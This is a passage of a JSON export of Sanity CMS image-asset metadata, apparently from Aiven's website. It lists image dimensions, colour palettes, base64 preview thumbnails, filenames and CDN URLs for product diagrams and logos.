atch","background":"#a1978b","foreground":"#000","population":7.79,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4690d8","foreground":"#fff","population":1.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cc4b182f2f1a39434bb430230ee87ac838db228b-1567x844.png","path":"images/sczeoy4w/production/cc4b182f2f1a39434bb430230ee87ac838db228b-1567x844.png","sha1hash":"cc4b182f2f1a39434bb430230ee87ac838db228b","size":692878,"uploadId":"04cjZKrLeYd6g6i8AhGOswv2QLqOwsSu","url":"https://cdn.sanity.io/images/sczeoy4w/production/cc4b182f2f1a39434bb430230ee87ac838db228b-1567x844.png"} {"_createdAt":"2024-03-08T07:44:57Z","_id":"image-cc6fe640460d3dcc978b0563a92b7d826efd600a-3200x2780-png","_rev":"TOsxXx20RF0WqO4qub8Sa6","_type":"sanity.imageAsset","_updatedAt":"2024-03-08T07:44:57Z","assetId":"cc6fe640460d3dcc978b0563a92b7d826efd600a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e88E3j*I0NL*R634W9*~j0xuzBQ-cDyWXT#YXnTwjqMd16w6,@Ioa^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1510791366906474,"height":2780,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAEUUlEQVQ4jYWU6U9cZRTGz8xcZoFhNso699yZYbgwZe4GsgzTUuDesjjsA4hshbJogJZhq6WsEqGtUVwAIcxQoMUqtFba0ChJE60xMa4fmzTaNjEx+kU/+BeMGUpiatt4kidP3ufDL3mf8+YFRDQhog4RCVsODWKwH7g1CdiACKxfBC4gQdisGfpuzkC/ehk8gg/yPT0AwQswCRbIahyBJwYRDftACon0O2XALhUouIBEcKsSwfpFglsRFewVCbL6POD21YQdOdWgcr/aJs87J0L+kAgZTePPASIS3GahgvWLEVxA0rMBycj6xZC03IqkODbnVbovVke5pmoMWUONiuxZCXKmiyC9ZfopoHEfSCLBf1QkZ/2iJgTkViXjvq+ImtK1Vk35ekecuNKIrve8WuZchYycTIbMt0uAa3vrKWCoQwNSFDEQDAKzIMm5VUnFXToe7lzKJ2rXO1XN24Nk/fago/xqT0zO2kuK4rlhqNocBO5K6TM7DAH1iGaC7i4C91A48GtSGBsQNWXrLZqunZGE9lvjTPPOhNV7bVzd/91rMHXDD9JmLzivVz5nKRSlQ7uDIH8OQsroRWCWSoiCjVpD66c+e8/tyRc6d99w1N+YiWTmpwF6v4HKrQmQPqyBzGUPBIPB/wJJA5nMGxO857VxA19p407vaaSFsfD2nQFb9+5IbvfOhKtt6/VY0T8jb1p/Ezp2JgHgEVRcPwFcoPhJ2D6QNBtI7pgp/uTl2FjfXcp+djehcXPO6rs9lXFqZzS7Y3OYqnvfpwT7TZh/MAVHZgYAIBWc74T8GYMkacIUwRjfsGDE4S/ijs9vJ3Vdezerd2vCdXK5z1I90qppKS6U/dDkgUv1xRC64D1BgF84Dh7wPDw80KMDP3g2lAEL6lSe1ctRJz5e5Lo2Z3IaZ3pZT3M9KVbUae3N7fJ7hzkIOuwAG1fhPsf9HxD1rjNd+uq1WbppYzqteXHI5mltSCgur0VvWbXpQr4U9jA1VXaLFyDdZoPZlBT4mmFkP7Gs7EuGgQa7HcLMZkikEIAkSR1deDQ697wvyfPBCF+9OIj1sx2ql8u8yqHiUt0n7qPG+4Jg+pXn9b/xvPovQSD+FATiD0FQ/i4Iqr/T0hSh6nKtVjCRJICVSdGlt1bR0mhnZu1YBz3QUKJbo5NVW85U9R2GifyWZWN+ZFnz9ywbf5dhDHtOp3bP6Yz43OmM+MzpDF9yOJTZVqs8Gkm5BVEObKFbm9dU6ahsrOBeyc/BMzQd3UfTMT00HdNH04fO0nTsWHJy7OmkpOh6e6KpMjHRWJ6YaCiwWfWZFktkCkVFUohaRIxAxHBwleYpS1+UTF5XZnRVUpKp1GYzSTbboRyrNYq3WAyHKUpPU5SOQtSTjz+SkOsSEHVxiDrzQYaIkSEoFLgzwEvZZDyJcquFIpBCJYmojkdSHUuSqngkQ2clhajGx1IhotKCqLT+m4eyMESU/QPyWjHMsE16AAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#355356","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#780821","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#355356","foreground":"#fff","population":0.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#99ab9d","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e296a5","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#66a684","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a02b42","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pgvector-index-inner-product.png","path":"images/sczeoy4w/production/cc6fe640460d3dcc978b0563a92b7d826efd600a-3200x2780.png","sha1hash":"cc6fe640460d3dcc978b0563a92b7d826efd600a","size":357145,"uploadId":"4NChbkcJquoVubp18X7pspotxgSAIxPl","url":"https://cdn.sanity.io/images/sczeoy4w/production/cc6fe640460d3dcc978b0563a92b7d826efd600a-3200x2780.png"} {"_createdAt":"2024-06-10T15:22:51Z","_id":"image-ccd73dd28c25b2a504660034a411ec97918eb4db-1442x1496-png","_rev":"rE19qWqXtwbnyVyXl5Pf9o","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:51Z","assetId":"ccd73dd28c25b2a504660034a411ec97918eb4db","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9R3WlWA00kF01~n9GRk-:Rk03-.t5M|xt~pIVM|xtRl01oextWExt","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.963903743315508,"height":1496,"width":1442},"exif":{"PixelXDimension":1442,"PixelYDimension":1496,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAABYlAAAWJQFJUiTwAAADTElEQVQ4jYWU60/cRhTF/f/3UxVFbUMKAQopVKFNAhtI1S+RkkZNWx4b2F3vGrDZh73r13jG78ep7tgmwFbKSj/dHWt99twzc0d5/OQT3v+poz+Y4aI3wUV/Iut5byxrrz/FSFtAN3wYYwbj5iE+9BsfJ2cmdvYuoDxdP0b3fIrJdA7DmEp0fYKr67Gsk4kF1wsQxxmStECS5EvEcQZj7GP/cAhl7adTDNQ5XNeDbdtwHAe2TdjwPB9hGCLLMlRVBWCZqqqx5gKdtyMoz7bOoI4WYIyDsQBChIiiCFEUI01TlGWJsqpQli3l/2JaHAdHUvAUQ81GGEaSJEmkEEHOsiy/Jc9z+XLriijLuprSoQZldfNYOuRcSIdBwOV3gtwKIcAb4jhGURT3BKs7Lb/5fQTlx/VPGKgWfJ/J7ChLEq3F7kMxkGsSvUvZtPzmrQplZe0j+gMTvh/AcVy4ri/zJNGWdk2RxHEiY6FKZFkdg2kF6Bz2oKys/oXP5yaseQDb9uF5TEKOH7ZPQnWuXyiaCCyL14KrG//itGvBGAcwLQ+O4zVOPSlEbRKUX5LQZi1vVFEUUlC2vL59ir5qw3FDLGwftu1KUXLZZskJXudIbdanILslz/M6Q9qU9e0u1JENj3HMbRcLxwMLBHgYg4cRuIhkFWEsCSk7EsoLZEUpycsSM4t2WSPBM/RHNhYuw3i2wMRcwHYZ/CCEFwh4TIDxCDxKEIhIPgtEjJjaLStJVlaYWM05JMGB5sBlAubCxWzuSEEmIogoAY/IVSpdhUkqn9GaHN4TNAUOjoZNy5oDxkPZNrmhF5LsS0t1WxWyomrWtdBdptYdQRq9gI4HHY00RSHns/oqhaT+rUkZ0uWwsd2FduXe7lZ78tuLoGpm9WtYcvQ0KBvPu7jS/dshvzf4VYU8L5GmBUSYw5zHuDYErvSay4abaYTRpV9vSivY3netGH3oT6K4gM8y6OMQf7ybY3NXx9rz65rtmhf7Y7z7YGL/cARl5dkJ/jmZYWpyzB4wnXFcGwxDzcfxmY2XHQMrG0N8v6ZKvmvq5u4lDo507Oz1oHzz7Uds7XzGq46KV53hEi8PVMmvr1X88lsfP7/oLbGz18fW7jke/fA3/gPF2BzotVLV8gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c346c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#262d5e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c82c0","foreground":"#fff","population":6.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cb4ce","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8e98ee","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c82c0","foreground":"#fff","population":6.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#434fa5","foreground":"#fff","population":2.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Deploy.png","path":"images/sczeoy4w/production/ccd73dd28c25b2a504660034a411ec97918eb4db-1442x1496.png","sha1hash":"ccd73dd28c25b2a504660034a411ec97918eb4db","size":222642,"uploadId":"zyNeGqIq40lXV1vt7IBpwfVtM7BTFqIk","url":"https://cdn.sanity.io/images/sczeoy4w/production/ccd73dd28c25b2a504660034a411ec97918eb4db-1442x1496.png"} {"_createdAt":"2024-05-08T12:25:22Z","_id":"image-cd2ff2b8aef335e88eb7413421ec43a9968ea821-2422x1284-png","_rev":"mdEU5AcDfd24wlw26FERkw","_type":"sanity.imageAsset","_updatedAt":"2024-05-08T12:25:22Z","assetId":"cd2ff2b8aef335e88eb7413421ec43a9968ea821","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M2Ss89XS9b~q9byG4.02X8%hXT9Z01%fx]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8862928348909658,"height":1284,"width":2422},"exif":{"PixelXDimension":2422,"PixelYDimension":1284,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAABN0lEQVQokX2S6W7EIAyEef9X6yP0Z9vdTY8kBHMYSKYapyvt1Y00QRjz2R7hXoaE19OMj+OA98OAt8MnjsMXliDofQW/bdseal03FO1YQoVfqq3uJIpvLxgnb/qZFvhFkHNBa92gz6TaEVNDjA0pN7iUFd5HjKPHOM4GDSGilIpa21OpNuTcEKQihIqYKhx/fskG9T6YYkyWXGt/oEtoN5XSkAsLdHZYIVKQkkK1mpjcWkMpipgKYlRIVFtpBeNUrdXGppfrSgs6HAE8JIDBs+H0T2LCPAdMk5jmWcyOlJKBCVz/7nAlwzHIji5hFKullBGCQCRCJJkYI0xVLWe7yCfL8eA/YCn7eKzM/bXu8w3IC3u1+4RswP353Ba8fo/7uLTPsX2OwcA1cLXuziNe+nUrFmdTzP8Fx7AO5PO5Rm4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#504c54","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#15516e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a9adcd","foreground":"#000","population":0.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9adcd","foreground":"#000","population":0.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ee6f4","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7284af","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#53b0dd","foreground":"#000","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-for-opensearch-service.png","path":"images/sczeoy4w/production/cd2ff2b8aef335e88eb7413421ec43a9968ea821-2422x1284.png","sha1hash":"cd2ff2b8aef335e88eb7413421ec43a9968ea821","size":232230,"uploadId":"aT3UviV1nj5kzvAJeE5KN6Z43ATcB4nq","url":"https://cdn.sanity.io/images/sczeoy4w/production/cd2ff2b8aef335e88eb7413421ec43a9968ea821-2422x1284.png"} {"_createdAt":"2022-06-16T22:53:47Z","_id":"image-cd5703c2b7ee8dc576b32b67ad3b6dd10f0102d3-1250x833-png","_rev":"qkpX9b3U0TpOGFQp8fNuCz","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:47Z","assetId":"cd5703c2b7ee8dc576b32b67ad3b6dd10f0102d3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V52%v:hpU~g[W-fjj@f7jbkBD7d1pri6o3fQafbYbFaM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5006002400960383,"height":833,"width":1250},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABcRAAAXEQHKJvM/AAABsklEQVQ4jc2SzWtTURDFJ7U1tBrTpagY3bWUIiUzL5lzz0v9qlSpCSh+IbrxT1EQQVy6EzfV5l514z+ovJf7Eosu3AgO/Jh7H8zhvLlH5F9UCH4MEsISEq654F0hHlWQrGZw2BefqvjR79RVD2fKMshoxLpzF0ILEl4MBR9nYhVz8a8m4dvim8dZPyZYic1dDiE8gAx+XBH/ruJfVJCHEFXsw44MP/Vn7irRLNz84iqJDol2ZoV3IOH5UHBoLU+6jGRtJFtBspZHrTjpUdv5XLHUCC6R6JHok9gksU1igyNcKD2c40M/j/fFBqL1kWwb0XpIdhHJNpFsC8kuedSeRz3rUZcrd60seJPEhMRTEo9Z4j4Dxhz7Ht4WE0ztGZI9QbR7SDbJPEK0Bx517FF3KsfN/roktkiUJPZqSuyTuMEDL/C6KDC14El3PeotRLuOZAMku+pR9z3qyKNebhxWnMh7PJPFuyyxXve7fgovizV8tlVPetqjrnvULpKtedROvnfyTmUWkV9eek6Z+21IeDUQHJkgv3QToUVktI5NdV8E+U+CYRYdvCkE02rgLwT/+/oJKTvDYSsOSX0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#365c31","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e7811","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#56964f","foreground":"#fff","population":0.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#237b1d","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#99e593","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#56964f","foreground":"#fff","population":0.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#36bc2c","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Color_Logos_Same_Sheet.png","path":"images/sczeoy4w/production/cd5703c2b7ee8dc576b32b67ad3b6dd10f0102d3-1250x833.png","sha1hash":"cd5703c2b7ee8dc576b32b67ad3b6dd10f0102d3","size":41414,"uploadId":"lzrwey9uFjuZaOmOma5Q2hFAm6DFB4dv","url":"https://cdn.sanity.io/images/sczeoy4w/production/cd5703c2b7ee8dc576b32b67ad3b6dd10f0102d3-1250x833.png"} {"_createdAt":"2022-08-25T13:23:37Z","_id":"image-cd6cb0b09441bc7b73a024104bc396f6db9c7e6d-104x48-svg","_rev":"BBSsdcKfQe4E5jW8Uy1533","_type":"sanity.imageAsset","_updatedAt":"2022-08-29T14:04:35Z","altText":"Icon Kafka and Flink","assetId":"cd6cb0b09441bc7b73a024104bc396f6db9c7e6d","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAMWv18#7%ti00}]{xWCF1M{00oI+cjbCN","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1666666666666665,"height":48,"width":104},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC5ElEQVQokQHZAib9AL4ohAvGKINHzCiCpNIogOPZKH/34Cl96+UqfbbpKnxc6ih6FdowfQDYU4QAy2GLFchjjlzFaJS3wmya671snPe5bJ7ktm2hpLRuo0izb6QLALgoh0S/KIWdxiuF488yh/nXNIf93jiH+uVDjevpQIqy6TKBUOoieAzRY4YMz16GUMxii7LMcZjrzoKn+8d9pv29b5/5uGyf47VtoZ20bqNEALEmh524KYfhxDmP/89Ml//WTZf/3VSa/+ZopP/pXJzt6D2ImOYpeyrVXYIq0lyDmNBjiu7Ue57/2Zaz/9WVtf/Jgqr/vnKh/7hsn+G1baGdAK0si9+3OJH4xVGe/81YoP7SVp3+2mKj/uFsqP7jWpz94juIwuIsfU3ZWH5N1lt/w9VkiP3ZgaD+3pq1/t6lvv7Ynrv+yIGq/7xtnvi4bJ7fAKs4lPW3Spz8wlij/8dYof7PXqP+1mSl/tdTmv7XOov/2i2Czt0tflvcVXpb2Vl7z9hgg//ZdZX+3Iyo/uChuv7dpL7+z4is/8BtnPy7apv0AKQ1lN+rPZf4tUaa/8FXov7HWKL+yk6b/ss8j/7OK4P90ieAwtcsf03eVHdN3Vd4w9pafP3ZZYf+232c/t6Ur/7aka/+zXie/8Nplvi/aJjfAJopjp2dKY3hpzOR/7VIm/+6QZb/ujCL/78rh//GKYTtyyiCl9ApgSrhVHQq4FZ1mN5XeO7bXX//22+P/9yCoP/We5z/y2eQ/8ZjkOHCZpSdAJUljUSYJYydnSqO46cykfmsL479sSiI+rcnhuu/KIWxxSiDT8kmgwvjVnIM4VR0UOBWdrLdWHnr3GKC+9txkP3VbZD5zmKK48lhjJ3GZZFEAJQpjwuWJ45HmSeNo54njOOkKIv3qyiJ67IoiLW4KIZbviiEFNA2fgDSSHoA4lRyFeFVdFzfVna23Fl769pfgffVYITj0V+GpM1giEjJY40LU6KxY/9FUBwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#48343d","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6a0f2d","foreground":"#fff","population":0.42,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d72a7f","foreground":"#fff","population":4.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ca8eab","foreground":"#000","population":1.7,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed96d1","foreground":"#000","population":0.86,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#955380","foreground":"#fff","population":2.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d72a7f","foreground":"#fff","population":4.01,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7dcxEE","_type":"reference","_weak":true}]}},"originalFilename":"logo-kafka-flink.svg","path":"images/sczeoy4w/production/cd6cb0b09441bc7b73a024104bc396f6db9c7e6d-104x48.svg","sha1hash":"cd6cb0b09441bc7b73a024104bc396f6db9c7e6d","size":5682,"title":null,"uploadId":"7LC88dWcIuc6iPEW48p0HGMYqeprOaFv","url":"https://cdn.sanity.io/images/sczeoy4w/production/cd6cb0b09441bc7b73a024104bc396f6db9c7e6d-104x48.svg"} {"_createdAt":"2023-01-19T13:32:13Z","_id":"image-cd70a0ca0f5bef939749619cd349997989a62a79-1422x800-jpg","_rev":"TE2o7iA1WIUKtaPRd4hXIo","_type":"sanity.imageAsset","_updatedAt":"2023-01-19T13:32:36Z","altText":"Zoom of the metro map demo showing Aiven for Apache Flink, Aiven for Apache Kafka and Aiven for ClickHouse","assetId":"cd70a0ca0f5bef939749619cd349997989a62a79","description":"Querying this table shows us the latest records consumed, so it’s no good on its own - you can’t query the same data twice without resetting the consumer group details. So what we’ll do instead is create a ClickHouse materialized view on top of it.","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7775,"height":800,"width":1422},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQDBQj/xAAfEAACAQQDAQEAAAAAAAAAAAABAgMABAUREiExE1H/xAAVAQEBAAAAAAAAAAAAAAAAAAACAf/EABkRAQEBAQEBAAAAAAAAAAAAAAECEQAhof/aAAwDAQACEQMRAD8A0HHlUN3cWqWs6mNeRbXtR4XKnKWUsgt54uDlNONHqrsIoYsFGz6aFRUBCqAD+U0rMHk3GYT95e0m+kO+DDvXdFMqoUaUaFFSJskKrXgovh3/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#151a27","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c31a7e","foreground":"#fff","population":0.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5e199","foreground":"#000","population":0.96,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acb2d4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5e199","foreground":"#000","population":0.96,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d5b88","foreground":"#fff","population":0.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97108","foreground":"#fff","population":0.41,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"metromap5-V2.jpg","path":"images/sczeoy4w/production/cd70a0ca0f5bef939749619cd349997989a62a79-1422x800.jpg","sha1hash":"cd70a0ca0f5bef939749619cd349997989a62a79","size":106294,"title":"Last stop: Aiven for ClickHouse","uploadId":"mikMCkAYm8GcByEKYL4MfVfRzYkvFdLZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/cd70a0ca0f5bef939749619cd349997989a62a79-1422x800.jpg"} {"_createdAt":"2022-09-07T11:39:45Z","_id":"image-cdc84e8d5201b68f537ddd54c858764684e13b44-24x24-svg","_rev":"QRl2cGoCgj0FlAhkRqFjvu","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:45Z","assetId":"cdc84e8d5201b68f537ddd54c858764684e13b44","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADCklEQVQ4jX1VTW+WVRA9vJSQpvBSdzYhUBYsZCOpwWhKYGEgKroRMBFoxedMLZg2gSURwocmLLrBRXXjBowLIOFDkW9b0TTdkLhz5d5/McfM3CkSoi5OnsmdmTP3zpx7H+gooE8w4MRmEXtEHJJhwokJBexfwPIbDkVO5nYY0EcAxMQWJ2ZEXJdhQYZFEb/I/gfEYsYS19Ryt6gLQkNPxD4RN91wR4Y5Gc6JOC/7D4SPOJexxB0nbhZHL3a3WoSJeCLicxGbRPRlGBYxnN8XQQy7oe+GTTKcrtzgWL1COC3iVxEnvcN6GaCp3D08WmLP2YGuvpaxJ4tweoWw58SHIh6KuCyiE3FAhoMiDsrS3l/4Z73FdJXzQI0jj7xKxKsiLjrxWJbV2lCIRSd+k+FpIO3nfBX7OHKTo8MqpGyIISdeEzElw5kcShvAWRHfyPBHotlnyxcxZzKn5Q4FFzQDaCJJB9ywLgdBvBRwYoMM46GARLM3ePkrdl3kJsdskw00/UyPgyJGq+JOEeMyHHViIVD2ePkiZrOmMKjPAH3aBtkmFhNt1fZWP0Ksd0Xcc8OSiL8CZd8rX8RclGFPSikIuUJoWCPiTRFfi3gk4vvsFzEvw1Un/lTAcDXWvPki5pEM8254IznqpoS+hkTQm3TminxUho25a8OPhb21Nloxcyk3A91ysIDvS9IRGb4U80jHFOKONoQCDK/LcFtM7NCxZ5tY78RxbzlfiHjZTweh5TV7V4YfZHm0SyK2q8Ng7sYwK8PvYmLWiY0ewzNsl+Gryoli76hDHzWtcCzJsOzEzyJO1LHerxdo2Q3LaRPvhc9bzEKuG5Y8OIgxVNJPIm5FRW/qn69Cs3VTvk20+z5Tvhjgk8q5Fa9OFIte7Hbiu6hWvQrCCyJeEXFExP2UieGuN/tw+SImYm/Xu3hFxK6QzYiIySKNnUYP38onrMM2J07VTbkh4pQT27xDv2IuecsJskkRI9Aket5Id1d/xpzo+4H8NawVsVXE24Wt6rBWH6R+g3SscnYFmT5G729lp78n8SgQZgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4c34","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a0404","foreground":"#fff","population":3.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f1670f","foreground":"#fff","population":12.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#903d08","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7af81","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c6f4e","foreground":"#fff","population":1.74,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1670f","foreground":"#fff","population":12.15,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-dataflow-04.svg","path":"images/sczeoy4w/production/cdc84e8d5201b68f537ddd54c858764684e13b44-24x24.svg","sha1hash":"cdc84e8d5201b68f537ddd54c858764684e13b44","size":732,"uploadId":"oWqISytxphxLvgQ01lhjbNvZeUeVLJ36","url":"https://cdn.sanity.io/images/sczeoy4w/production/cdc84e8d5201b68f537ddd54c858764684e13b44-24x24.svg"} {"_createdAt":"2023-03-16T18:22:28Z","_id":"image-cdcaabfef78acec50a9e310dc518c7b660500324-259x258-jpg","_rev":"0lF4kyZBi1fr8QymZ6KVwE","_type":"sanity.imageAsset","_updatedAt":"2023-03-16T18:22:28Z","assetId":"cdcaabfef78acec50a9e310dc518c7b660500324","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJD9#Oj[~qt7WB~qM{t7j[M{%MxufQofRjoft7ofofWBRjWBRjj[WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.003875968992248,"height":258,"width":259},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAYDBQcI/8QAIhAAAQQCAgEFAAAAAAAAAAAAAwECBBEABQYSUQcTFUFx/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AM/N948GtDH152KeWVBI5jktqfa5L8Okv1PMmQI7jrHltVXoZ127zk/6h6v42DCmQgqJEJdtcuRw9y4fIIcoxCsAipbhupUTA9U+2/zjOaRymMFhI2znKFyW1e94wJzmsopuM69SOu6vIE0cXZR9bb1v8xjA3Gk3c6Jr2BCWhtVaRUusYxgf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#484848","foreground":"#fff","population":3.98,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#acacac","foreground":"#000","population":12.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acacac","foreground":"#000","population":12.61,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","fore